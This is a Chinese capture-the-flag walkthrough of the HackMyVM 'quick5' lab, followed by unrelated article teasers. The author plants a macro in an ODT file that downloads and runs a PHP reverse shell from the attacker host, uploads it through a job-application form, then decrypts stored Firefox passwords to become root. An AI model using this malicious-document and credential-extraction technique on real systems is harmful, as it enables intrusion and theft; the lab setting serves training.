[HackMyVM]靶场quick5

news2024/11/15 19:43:48

kali:192.168.56.104

靶机:192.168.56.134

端口扫描

# nmap 192.168.56.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 19:08 CST
Nmap scan report for careers.quick.hmv (192.168.56.134)
Host is up (0.000056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

开启了22 80两个端口

常规扫一下目录

# gobuster dir -u http://192.168.56.134 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.134
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,bak,zip,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 51519]
/.php                 (Status: 403) [Size: 279]
/img                  (Status: 301) [Size: 314] [--> http://192.168.56.134/img/]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.134/css/]
/lib                  (Status: 301) [Size: 314] [--> http://192.168.56.134/lib/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.134/js/]
/fonts                (Status: 301) [Size: 316] [--> http://192.168.56.134/fonts/]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]

确实没扫到什么东西

去web界面看

界面上没有什么利用点

看源码发现域名

添加到/etc/hosts

192.168.56.134 customer.quick.hmv

不过进去为什么这么红

career这个也一直在转

扫一下目录

career扫到一些东西

/.html                (Status: 403) [Size: 282]
/.php                 (Status: 403) [Size: 282]
/img                  (Status: 301) [Size: 320] [--> http://careers.quick.hmv/img/]
/index.html           (Status: 200) [Size: 13819]
/upload.php           (Status: 200) [Size: 0]
/css                  (Status: 301) [Size: 320] [--> http://careers.quick.hmv/css/]
/lib                  (Status: 301) [Size: 320] [--> http://careers.quick.hmv/lib/]
/developer.html       (Status: 200) [Size: 14009]
/js                   (Status: 301) [Size: 319] [--> http://careers.quick.hmv/js/]
/apply.php            (Status: 200) [Size: 12967]
/fonts                (Status: 301) [Size: 322] [--> http://careers.quick.hmv/fonts/]

发下apply.php可以文件上传

经过测试只准上传odt pdf文件

靶机刚出来的时候自己就做到了这里就卡住了,当时想到的是那种钓鱼pdf,下载者打开就会上线那种,后来群里大佬给了思路,用msfconsole里面的openoffice模块生成一个恶意odt,当打开的时候就会执行写在里面的宏命令

msf6 exploit(multi/misc/openoffice_document_macro) > options

Module options (exploit/multi/misc/openoffice_document_macro):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   BODY                       no        The message for the document body
   FILENAME  msf.odt          yes       The OpenOffice Text document name
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0
                                        .0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.128.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache OpenOffice on Windows (PSH)



View the full module info with the info, or info -d command.

其实payload,lhost,lport设不设无所谓,后来我们都要修改宏,来执行我们需要的命令

生成的exp在/root/.msf4/local/目录

其实odt文件可以理解成一个压缩包

我们解压修改里面的内容

# unzip msf.odt
Archive:  msf.odt
  inflating: Basic/Standard/Module1.xml  
  inflating: Basic/Standard/script-lb.xml  
  inflating: Basic/script-lc.xml     
 extracting: Configurations2/accelerator/current.xml  
  inflating: META-INF/manifest.xml   
  inflating: Thumbnails/thumbnail.png  
  inflating: content.xml             
  inflating: manifest.rdf            
  inflating: meta.xml                
 extracting: mimetype                
  inflating: settings.xml            
  inflating: styles.xml  
# cd Basic  
# cd Standard 
# ls 
Module1.xml  script-lb.xml

# vim Module1.xml

把那些针对win的都删除了,修改成如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM  *****  BASIC  *****


    Sub OnLoad
        shell("wget http://192.168.56.104:6677/shell.php -O /tmp/shell.php")
        shell("php /tmp/shell.php")
    End Sub


    
</script:module>

我昨天也是这样做的,但是shell没弹过来,很奇怪,我昨天也是这样做到,shell没弹过来,今天shell就弹过来了

修改好之后回到最上层目录打包,注意-r保持目录结构

# zip -r final.odt *
  adding: Basic/ (stored 0%)
  adding: Basic/Standard/ (stored 0%)
  adding: Basic/Standard/Module1.xml (deflated 35%)
  adding: Basic/Standard/script-lb.xml (deflated 39%)
  adding: Basic/script-lc.xml (deflated 38%)
  adding: Configurations2/ (stored 0%)
  adding: Configurations2/accelerator/ (stored 0%)
  adding: Configurations2/accelerator/current.xml (stored 0%)
  adding: META-INF/ (stored 0%)
  adding: META-INF/manifest.xml (deflated 77%)
  adding: Thumbnails/ (stored 0%)
  adding: Thumbnails/thumbnail.png (deflated 85%)
  adding: content.xml (deflated 74%)
  adding: manifest.rdf (deflated 71%)
  adding: meta.xml (deflated 57%)
  adding: mimetype (stored 0%)
  adding: settings.xml (deflated 84%)
  adding: styles.xml (deflated 82%)

然后kali开两个监听端口,一个是http服务,另一个是nc反弹shell

# nc -lvnp 4567                                      
listening on [any] 4567 ...
# python -m http.server 6677
Serving HTTP on 0.0.0.0 port 6677 (http://0.0.0.0:6677/) ...

然后接着把打包好的otd上传到web

就在这上传,什么也不要修改

大概等了一分钟就拿到了andrew的shell

# nc -lvnp 4567                                      
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.134] 51114
Linux quick5 5.15.0-94-generic #104-Ubuntu SMP Tue Jan 9 15:25:40 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 11:00:01 up 1 min,  0 users,  load average: 0.73, 0.57, 0.23
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(andrew) gid=1000(andrew) groups=1000(andrew),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(andrew) gid=1000(andrew) groups=1000(andrew),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

切换到交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

home下只有andrew一个人,也是拿到了user flag

andrew@quick5:~$ ls -al
total 108
drwxr-x--- 16 andrew andrew 4096 Feb 21 20:34 .
drwxr-xr-x  3 root   root   4096 Feb 20 11:56 ..
drwxrwxr-x  2 andrew andrew 4096 Mar 27 11:00 applicants
lrwxrwxrwx  1 andrew andrew    9 Feb 20 13:12 .bash_history -> /dev/null
-rw-r--r--  1 andrew andrew  220 Jan  6  2022 .bash_logout
-rw-r--r--  1 andrew andrew 3771 Jan  6  2022 .bashrc
drwx------ 13 andrew andrew 4096 Feb 20 12:27 .cache
drwx------ 12 andrew andrew 4096 Feb 20 12:58 .config
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:14 Desktop
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:14 Documents
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:50 Downloads
drwx------  3 andrew andrew 4096 Feb 20 12:14 .local
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:14 Music
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:14 Pictures
-rw-r--r--  1 andrew andrew  807 Jan  6  2022 .profile
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:14 Public
-rw-rw-r--  1 andrew andrew   66 Feb 20 12:26 .selected_editor
drwx------  3 andrew andrew 4096 Feb 20 15:07 snap
drwx------  2 andrew andrew 4096 Feb 20 11:56 .ssh
-rw-r--r--  1 andrew andrew    0 Feb 20 11:58 .sudo_as_admin_successful
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:14 Templates
-rw-r-----  1 andrew andrew 5751 Feb 20 12:25 user.txt
-rw-r-----  1 andrew andrew    5 Feb 21 20:23 .vboxclient-clipboard-tty2-control.pid
-rw-r-----  1 andrew andrew    5 Feb 21 20:23 .vboxclient-draganddrop-tty2-control.pid
-rw-r-----  1 andrew andrew    5 Feb 21 20:23 .vboxclient-hostversion-tty2-control.pid
-rw-r-----  1 andrew andrew    5 Feb 21 20:23 .vboxclient-seamless-tty2-control.pid
-rw-r-----  1 andrew andrew    5 Feb 21 20:23 .vboxclient-vmsvga-session-tty2-control.pid
drwxr-xr-x  2 andrew andrew 4096 Feb 20 12:14 Videos
andrew@quick5:~$ cat user.txt

                                 ▄▄▄▄▄▄▄▄▄▄▄  ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄    ▄       ▄▄▄▄▄▄▄▄▄▄▄ 
                                ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌     ▐░░░░░░░░░░░▌
                                ▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌      ▐░█▀▀▀▀▀▀▀▀▀ 
                                ▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌▐░▌       ▐░█▄▄▄▄▄▄▄▄▄ 
                                ▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌░▌        ▐░░░░░░░░░░░▌
                                ▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░░▌          ▀▀▀▀▀▀▀▀▀█░▌
                                ▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌░▌                  ▐░▌
                                ▐░░░░░░░░░░░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌▐░▌                 ▐░▌
                                 ▀▀▀▀▀▀█░█▀▀ ▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄█░█▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌       ▄▄▄▄▄▄▄▄▄█░▌
                                        ▐░▌  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌     ▐░░░░░░░░░░░▌
                                         ▀    ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀    ▀       ▀▀▀▀▀▀▀▀▀▀▀ 

                                                            . .=+-...  ... ...                  .. ...==...                                            
                                                        .+.=.. ..-====---::::.=:.::::--==-:. ....... ..-=. . ..:.                                      
                                                        -.:-+.              :.-:               ...-:-         .=  .                                    
                                                     .+=-=  +               - =:                 :   -:          ...=.                                 
                                                    .:-:=   +               = =:                .-    .-           .+=:                                
             .=.                                  -=+.-...=.+               =.=:                 =     +.            .-=.=:                            
            .*-.:---------:::.......           .. .=:+*******----------------:.------------------=++++=+.               :--:....-.                     
           +. -.    +#.          .  .  . . . .. .=:*.....::::::.:::::------==-------::.:::--=--:::-==-:...  .             .-..    .--..                
          ....... .=-.. .. .                    .. .                         ..                  .. .. .==:-=+=.=--=.       .=       ...               
         *.*:.                               ....=:-==:...                   ..                        #..            .:-=-   .=        -              
        .=                                    .=                       .:---::...                   . ...                 :.===...       =             
        .     .-:...... ...  .   ...::--==---:-.........                     *        ...  :=     .    ..  .:=:...:=-..  ..   ..==...     :            
       :   :. .-:.. .. ... .... .   . ..:--====-::.... .. ... .    ..   ..:===:....                    .+     .......    ..=:.. :  .:.     .           
         :... .-=+==--*--.                   ..                             ...:==               .      =.    ...       ..=.   :.     .=.              
      .   =.=+-..-.. .=:.=+.                 .                              ..                   .  - -. .=-=..  ::-=.         =.. =.   .++.-          
      =  - ---.          .==-                ..                             ..                       + .-=          ..:=.         .. .=.   -.-   .=    
     ..   =:.  .=......=...::-               ..                             ..                   .  = .:. .=......=.  ..-+                   +:*+=..   
    .-.: :=:  =....-=.:.:.  :+.                                             ..                   . .. +   +.+.+-:.+.=. =:==.                   .+...   
    .....*.: .+ .--. =--.=  =--:.            ..                          ...-.....................+....  =.-.-  ....-.  .= .-.                 ==.-.   
       ..-:=  = =.=--:.-.=  --.: .:::::::::::::..................... . ............ . . ........    .-:  :.-..=:--: =.  .+.:..:-.. ....--:........     
         .-..  = --..=..=. ..:                   .                                              .    +.-  =. -..:=.=.  .=     .                        
           *=.   ======.   :=                                                                         =.=   :=====..  ::.                              
           .*==:         ===.                                                                          .-:=.       ...:.                               
              .=-.-=-::-=..                                                                              .*-::-=-.---                                  
                                                           
                                                    
        HMV{f1a85c0f54de51d374e15a73a2d71cd6}

这里好玩的是,我在一一尝试各种文件的时候,打开andrew的snap文件夹的时候发现了火狐的文件包

andrew@quick5:~/snap$ ls -al
total 38252
drwx------  3 andrew andrew     4096 Feb 20 15:07 .
drwxr-x--- 16 andrew andrew     4096 Feb 21 20:34 ..
drwxr-xr-x  4 andrew andrew     4096 Feb 20 12:26 firefox
-rw-rw-r--  1 andrew andrew 39157491 Feb 20 15:07 firefox.tar.gz

之前在vulnhub的哈利波特靶场也遇到这个,并且利用了

HARRYPOTTER: NAGINI-CSDN博客

当时用的是firefox_decrypt工具分析

具体工具下载可见上个博客

我怕shell断开没用python的http服务,用了scp把firefox文件夹传到kali上

记得kali开启ssh服务

scp -r  firefox root@192.168.56.104:/root
# mv firefox ~/Desktop/firefox_decrypt                                               
                                                                                                                                             
┌──(root㉿kali2)-[~]
└─# cd ~/Desktop/firefox_decrypt 
                                                                                                                                             
┌──(root㉿kali2)-[~/Desktop/firefox_decrypt]
└─# ls        
CHANGELOG.md  CONTRIBUTORS.md  LICENSE  README.md  firefox  firefox_decrypt.py  pyproject.toml  tests
                                                                                                                                             
┌──(root㉿kali2)-[~/Desktop/firefox_decrypt]
└─# python firefox_decrypt.py firefox/common/.mozilla/firefox 

Website:   http://employee.quick.hmv
Username: 'andrew.speed@quick.hmv'
Password: 'SuperSecretPassword'

注意用的是common/.mozilla/firefox而不是真个firefox文件夹

拿到密码直接su root就行了

andrew@quick5:~/snap$ su root
Password: 
root@quick5:/home/andrew/snap# ls 
firefox  firefox.tar.gz
root@quick5:/home/andrew/snap# cat /root/r*



                         ▄▄▄▄▄▄▄▄▄▄▄  ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄    ▄       ▄▄▄▄▄▄▄▄▄▄▄ 
                        ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌     ▐░░░░░░░░░░░▌
                        ▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌      ▐░█▀▀▀▀▀▀▀▀▀ 
                        ▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌▐░▌       ▐░█▄▄▄▄▄▄▄▄▄ 
                        ▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌░▌        ▐░░░░░░░░░░░▌
                        ▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░░▌          ▀▀▀▀▀▀▀▀▀█░▌
                        ▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌░▌                  ▐░▌
                        ▐░░░░░░░░░░░▌▐░▌       ▐░▌     ▐░▌     ▐░▌          ▐░▌▐░▌                 ▐░▌
                         ▀▀▀▀▀▀█░█▀▀ ▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄█░█▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌       ▄▄▄▄▄▄▄▄▄█░▌
                                ▐░▌  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌     ▐░░░░░░░░░░░▌
                                 ▀    ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀    ▀       ▀▀▀▀▀▀▀▀▀▀▀ 

                                                                                                            
                                               {ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ                          
                                             ÅÆÆ››ÆÆÏ —    Æ     ÏÆÆÆÇ           ÇÆÆÆ                       
                                            ÆÆ ÆíÆÆÆÆÆÆÆÆÆ Æ›ÆÆÆÆÆÆÆÆÆ— gÇ   ÆÆÆÆ   ÆÆÆ—                    
                                          ÆÆÆÆ{ÆÆÆÆÆÆÆÆÆÆÆ Æ ÆÆÆÆÆÆÆÆÆÆÆÆ{üí ÆÆÆÆÆÆÆ  6ÆÆ                   
                                        gÆÆ—ÞÆÆÆÆÆÆÆÆÆÆÆÆÆ Æ ÆÆÆÆÆÆÆÆÆÆÆÆÆÆ Æ ÆÆÆÆÆÆÆÆ  ÆÆÆ                 
                                       ÆÆ Æ{ÆÆÆÆÆÆÆÆÆÆÆÆÆÆ Æ ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ Æ ÆÆÆÆÆÆÆÆÆ  ÆÆÞ               
                   ÞÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆü{ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ Æ ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ 6ÞÆÆÆÆÆÆÆÆÆz ÏÆÆ              
              ÆÆÆÆÆÅí{ ›            Æ  Æ                   Æ gggggggggggggggG Æ ÆÆÆÆÆÆÆÆÆÆ   ÆÆü            
       ÆÆÆÆÆÆÆÞ                    Æ  Þ                 ÆÆ Æ              ÇÆÆ ü               GÆÆ           
       ÆÆ Çz    ÆÆü              Æ  Æ                      Æ                 Å       ›          ÆÆ          
       ÆÆÆ   Æ         Æ        G   Æ                      Æ                 Æ            —Æ     ÆÆÇ        
      ÆÆÆ —Æ    ÆÆÆÆÆÆÆ  Þz   Æ     Æ                      Æ                                 ÆÇ   ÞÆÆ       
      ÆÆ Æ   ÆÆÆÆÆÆÆÆÆÆÆÆÏ Æ›í      Æ                      Æ                Æ                  ÆÞ   ÆÆ      
   ÆÆÆÆÆÆ   ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ Ï       Æ                      Æ                z                    ÆÇ  ÆÆ     
   ÆÆÆÆÆÅ  ÆÆÆÆÆÆÆü—ÏÆÆÆÆÆÆÆ  Æ     Æ                      Æ               Æ                       Æ{ ÆÆ    
   ÆÆ  ÆÆ ÆÆÆÆÆ zÆ   Æz ÆÆÆÆÆÆ ›Æ   Æ                      Æ               Æ                        üÆ ÆÆÆ  
   ÆÆ  ÆÅÆÆÆÆÆ Æ  ÇÆG  Æ ÆÆÆÆÆÆ›  íÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ                           Æ GÆ  
   ÆÆÆÆÆÆÆÆÆÆüü  ÆÆÆÆÆ  Ç ÆÆÆÆÆÆÆÆüüüüüüüüüüüggggggggggggÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆG  
          zÆÆÆ   zÆÆÆü { ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆggggggggggggüüüüüüüüüüüü{{{{{{{{{íÆÆÆ Æ  ÆÆÆÆ  6 ÆÆÆ             
           ÆÆÆz Æ     Æ  ÆÆÆ                                                 ÆÆÆÏ Æ     ÏG ÆÆÆ              
            ÆÆÆÆ   ›   ÆÆÆÆ                                                   ÆÆÆÆ       ÆÆÆÆ               
              ÆÆÆÆÆÆÆÆÆÆÆ                                                       ÆÆÆÆÆÆÆÆÆÆÆG                
                 GÆÆÆÅ                                                             ÏÆÆÆÆ 


                HMV{7b243f33c5eb851f1c73fb6d6b3a974a}

怎么说,这个靶场,easy的难度,感觉不止easy。主要是前面的想不到,odt文件的利用也是头回见到,还是自己菜,菜就多练吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1549094.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Unity编辑器功能将AB资源文件生成MD5码

将路径Application.dataPath/ArtRes/AB/PC文件夹下所有的Ab包文件生成MD5吗&#xff0c;通过文件名 文件长度MD5‘|’的格式拼接成字符串写入到资源对比文件abCompareInfo.txt中。 将路径pathFile扥文件生成MD5码

C语言学习之环境搭建【建议收藏】

学生时代&#xff0c;我们一般使用的VC【Microsoft Visual C 2010&#xff08;学习版&#xff09;】进行学习&#xff0c;该篇博客主要记录如何安装VC&#xff0c;非常详细&#xff0c;适合入门的小白&#xff0c;奶妈级别安装教程&#xff0c;建议收藏。 准备好软件安装包&…

LeetCode刷题--- Dijkstra 求最短路径

首先是图的表示&#xff0c;邻接矩阵和邻接表。实现看代码 邻接矩阵&#xff1a;二维数组&#xff0c; matrix[a][b] 表示 从a可以指向b无向图而言&#xff0c; matrix[a][b]matrix[b][a]&#xff0c;比如可以定义matrix[a][b]1表示ab是连接的&#xff0c;matrix[a][b]0表示ab…

Docker进阶:Docker Swarm —弹性伸缩调整服务的副本数量

Docker进阶&#xff1a;Docker Swarm —弹性伸缩调整服务的副本数量 1、 创建一个Nginx服务&#xff08;Manager节点&#xff09;2、查看服务状态&#xff08;Manager节点&#xff09;3、测试访问&#xff08;Worker节点&#xff09;4、查看服务日志&#xff08;Manager节点&am…

有效三角形的个数【双指针】

1.优化版暴力求解 如果能构成三⻆形&#xff0c;需要满⾜任意两边之和要⼤于第三边。实际上只需让较⼩的两条边之和⼤于第三边即可。将原数组排序&#xff0c;从⼩到⼤枚举三元组&#xff0c;这样三层 for 循环枚举出的三元组只需判断较⼩的两条边之和是否⼤于第三边。 class…

2024/3/24周报

文章目录 摘要Abstract文献阅读题目引言创新点数据处理研究区域和数据缺失值处理水质相关分析 方法和模型LSTMAttention机制AT-LSTM模型 实验结果 深度学习transformer代码实现1 模型输入1.1 Embedding层1.2 位置编码 2 Encoder2.1 编码器2.2 编码器层2.3注意力机制2.4多头注意…

Sora那么牛,他的模型的成本会有多少呢?

Sora的训练需要大量的计算资源&#xff0c;估计需要4211-10528个 Nvidia H100 GPUs运行一个月。推理成本&#xff1a;一个Nvidia H100 GPU大约每小时能生成5分钟的视频。初期的Sora成本将非常高&#xff0c;肯定是不适合普通人来使用&#xff0c;所以目前OpenAI都是先找一些艺术…

AttributeError: ‘ImageDraw‘ object has no attribute ‘textsize‘

用python绘制词云图时&#xff0c;出现报错AttributeError: ImageDraw object has no attribute textsize&#xff0c;应当如何解决&#xff1f; - CSDN文库

TikTok养号怎么做?打破0播放的前提是做好这些

TikTok养号的重要性不必多少&#xff0c;不仅可以在创号初期保障账号安全&#xff0c;后期的账号流量也需要以前期养好账号为前提。下面就给大家分享如何养号的真实操作攻略&#xff01; 一、为什么要养号 &#xff08;1&#xff09;提高系统推荐精准度 系统不了解新账户人设…

基于单片机病房温度监测与呼叫系统设计

**单片机设计介绍&#xff0c;基于单片机病房温度监测与呼叫系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机病房温度监测与呼叫系统设计概要主要涵盖了通过单片机技术实现病房温度的实时监测以及病人呼叫功能…

如何应对Android面试官->进程通信如何注册与获取服务

前言 大家好&#xff0c;我是老A&#xff1b; 这个章节继续上一章节继续讲解&#xff0c;主要讲解下 java 层服务的注册与获取、线程池&#xff1b;我们基于 AMS 来看下 java 层是如何获取的&#xff1b; SystemServer SystemServer 的启动也是 main 函数&#xff0c;我们进入…

三、阅读器开发--4、阅读器目录、全文搜索功能开发

1、阅读器目录 1.1、实现目录 先实现目录的布局 定义一个蒙版&#xff0c;充满整个屏幕浮在阅读器上方&#xff0c;左侧为目录右侧为背景&#xff0c;目录下方包含一个tab&#xff0c;点击后会切换不同的内容&#xff0c;这里tab是目录、书签&#xff0c;这里可以通过如下的…

(原型与原型链)前端八股文修炼Day5

一 原型链的理解 原型链定义&#xff1a; 原型链是 JavaScript 中实现对象继承的关键机制之一&#xff0c;它是一种对象之间的关系&#xff0c;通过这种关系&#xff0c;一个对象可以继承另一个对象的属性和方法。 原型链的组成&#xff1a; 每个对象都有一个指向另一个对象的…

【node】express使用(三)

1、express.static快速托管静态资源 express:快速、开放、极简的Web开发框架。(npm第三方包&#xff0c;提供快速创建web服务器便捷方法) Express中文官网 (1) express快速创建web网站服务器以及api接口服务器 // 1、导入express const express require(express) // 2、创…

ITES | 深圳工业展正运动重磅产品即将亮相

■展会名称&#xff1a; 第二十五届深圳国际工业制造技术及设备展览会&#xff08;以下简称“深圳工业展”&#xff09; ■展会日期 2024年3月28日-31日 ■展馆地点 中国深圳国际会展中心(宝安) ■展位号 9号馆F04 2024年深圳工业展(ITES)将于3月28日至31日在深圳宝安国…

Android Studio详细安装教程及入门测试

Android Studio 是 Android 开发人员必不可少的工具。 它可以帮助开发者快速、高效地开发高质量的 Android 应用。 这里写目录标题 一、Android Studio1.1 Android Studio主要功能1.2 Android应用 二、Android Studio下载三、Android Studio安装四、SDK工具包下载五、新建测试…

20240320-1-梯度下降

梯度下降法面试题 1. 机器学习中为什么需要梯度下降 梯度下降的作用&#xff1a; 梯度下降是迭代法的一种&#xff0c;可以用于求解最小二乘问题。在求解损失函数的最小值时&#xff0c;可以通过梯度下降法来一步步的迭代求解&#xff0c;得到最小化的损失函数和模型参数值。…

阶乘的最高位

阶乘的最高位 题目描述 输入一个正整数n。输出n!的最高位上的数字。 输入 输入一个正整数n&#xff08;n不超过1000&#xff09;。 输出 输出n!的最高位上的数字。 样例输入 1000样例输出 4解 这道题要是求阶乘的后三位或者后几位&#xff0c;大家肯定都会。 求最高…

web服务应用术语

一、HTTP 协议详解 TCP 协议与 HTTP 协议 TCP 协议主要用于数据传输控制&#xff0c;而 HTTP 协议主要用于应用层面的数据交互。 HTTP 属于应用层协议&#xff0c;是建立在 TCP 协议基础之上的&#xff0c;HTTP 协议以客户端请求和服务器端响应为标准&#xff0c;浏览器通常称…

JavaSE+JDBC进行控制台输出的客户管理系统! (实训/课堂实践推荐)

本人博客&#xff1a;玖玖的个人博客 (zhangxi.online)&#xff0c;欢迎大家来踩 该文章原地址&#xff1a; JavaSEJDBC进行控制台输出的客户管理系统! (实训/课堂实践推荐&#xff09; (zhangxi.online) 本人诚挚的特别感谢&#xff1a;尚硅谷/黑马程序员提供的学习案例 项…